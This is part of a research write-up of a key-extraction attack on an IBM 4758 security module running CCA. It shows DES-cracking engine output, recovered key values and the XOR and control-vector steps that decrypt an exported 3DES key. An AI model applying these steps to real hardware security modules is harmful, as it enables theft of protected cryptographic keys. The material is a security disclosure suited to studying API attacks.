Extracting a 3DES key from an IBM 4758

Part 6: Some real results

This is some output from a real attack on an IBM 4758 running the CCA software. First we determined the value of a DES key that had been used to encrypt zero:

OFFLINE >online
DESMIM Engine on COM1

ONLINE  >set data 0
t1D4E6
OK0774
t01427
OK0774
ONLINE  >runtv r:\variant_data_harvest_09oct.tv
Retrieving test vector set from file 'r:\variant_data_harvest_09oct.tv'

................................................................

Total test vectors loaded   : 65536
Total number of clashes     : 49468
Total unusable test vectors : 0
Loading test vector set into DESMIM engine
.0..800..1000..1800..2000..2800..3000..3800..4000..4800..5000..5800..6000..6800.
.7000..7800..8000..8800..9000..9800..A000..A800..B000..B800..C000..C800..D000..D
800..E000..E800..F000..F800..10000..10800..11000..11800..12000..12800..13000..13
800..14000..14800..15000..15800..16000..16800..17000..17800..18000..18800..19000
..19800..1A000..1A800..1B000..1B800..1C000..1C800..1D000..1D800..1E000..1E800..1
F000..1F800.

16384 lots of 2 * 32-bit chunks loaded.


Done.
rr85A4
OK0774
Wait started at:  Tue Oct  9 17:01:43 2001

Run completed at: Wed Oct 10 11:13:22 2001


Result = #73EB2E8955BD46F4, Key = #3EEA4C4CC68CCCC2

With corrected (odd) parity key = #3EEA4C4CC78CCDC2

Result corresponds to key number #E2E6

which is an XORing value of #0000000000068BCC
ie: the key really wanted = #3EEA4C4CC78A460E
ONLINE  >

When the attack software was run on the IBM 4758 at "step 6" we had combined what we now know to be a value of #3EEA.4C4C.C78A.460E with #7D00.7D00.0309.0000 (don't ask -- it was just a randomish value chosen from thin air on the 3^rd of September (03/09)!). Hence the single DES key that we exported was #43EA314CC483460E and cracking the replicate key used for exporting went like this:

OFFLINE >online
DESMIM Engine on COM1

ONLINE  >set data 43ea314cc483460e
t1D4E6
OK0774
t01427
OK0774
ONLINE  >runtv r:\variant_exporter_harvest_09oct.tv
Retrieving test vector set from file 'r:\variant_exporter_harvest_09oct.tv'

................................................................

Total test vectors loaded   : 65536
Total number of clashes     : 49432
Total unusable test vectors : 0
Loading test vector set into DESMIM engine
.0..800..1000..1800..2000..2800..3000..3800..4000..4800..5000..5800..6000..6800.
.7000..7800..8000..8800..9000..9800..A000..A800..B000..B800..C000..C800..D000..D
800..E000..E800..F000..F800..10000..10800..11000..11800..12000..12800..13000..13
800..14000..14800..15000..15800..16000..16800..17000..17800..18000..18800..19000
..19800..1A000..1A800..1B000..1B800..1C000..1C800..1D000..1D800..1E000..1E800..1
F000..1F800.

16384 lots of 2 * 32-bit chunks loaded.


Done.
rr85A4
OK0774
Wait started at:  Wed Oct 10 18:17:19 2001

Run completed at: Fri Oct 12 06:53:36 2001


Result = #8BA3F18A17504AF0, Key = #B256466EDE78F8B2

With corrected (odd) parity key = #B357466EDF79F8B3

Result corresponds to key number #B95C

which is an XORing value of #000000000005E4B8
ie: the key really wanted = #B357466EDF7C1C0B
ONLINE  >

Hence in two cracking sessions of 16 hours and 37 hours we had determined that the 3DES replicate key part was #B357.466E.DF7C.1C0B.B357.466E.DF7C.1C0B and this knowledge allowed us create a non-replicant 3DES key and export any value we wanted.

The token that emerged was (we've annotated the fields to show the structure):

-START-------------------
externaltoken EXTERNAL V0x00
int_ext  02
res1     00 00 00
version  00
res      02 00
flags1   c0
flags    02 00
res      03 00 00 00 00 00 00 00 00
keyleft  b3 d7 80 e8 2b f8 4d 59
keyright 3d 0f 65 ff 99 01 29 4a
cvkeft   00 41 7d 00 03 41 00 00
cvright  00 41 7d 00 03 21 00 00
res 4    00 00 00 00 00 00 00 00 00 00 00 00
tvv      be c6 17 8a
-END-------------------

The 3DES key we want is "keyleft"."keyright" and is encrypted with a key that we now know the value of. The second (non-replicate) key part we used was: #7D00.7D00.0309.0000.0000.007D.007D.007D (you still should avoid asking why!). Hence we can now calculate the exporter key value:

B357466EDF7C1C0B B357466EDF7C1C0B     // from the cracker

7D007D0003090000 0000007D007D007D     // chosen key part

CE573B6EDC751C0B B3574613DF011C76     // these two XORd together

We can now decrypt the left and right halves of the key from the token by using this 3DES exporter key. As a final twist, we have to add in a "control vector" for each half (this is part of the key typing mechanism used by the the system and the details are in the CCA documentation).

00417d0003410000 00417d0003410000     // left half control vector

CE16466EDF341C0B B3163B13DC401C76     // key XOR LH control vector

00417d0003210000 00417d0003210000     // right half control vector

CE16466EDF541C0B B3163B13DC201C76     // key XOR RH control vector

We now decrypt each half of the external token, using the completed exporter key (ie: the exporter combined with the relevant control vector)

3DES key = CE16466EDF341C0B B3163B13DC401C76 
data     = B3D780E82BF84D59
decrypt  = 52C1A27975F4A407

3DES key = CE9680E82BD04D59 B396FD9528A44D24
data     = 3D0F65FF9901294A
decrypt  = 1049858C9D433BB5

ie: the valuable key that was encapsulated in the key token and which the attack has now revealed is:

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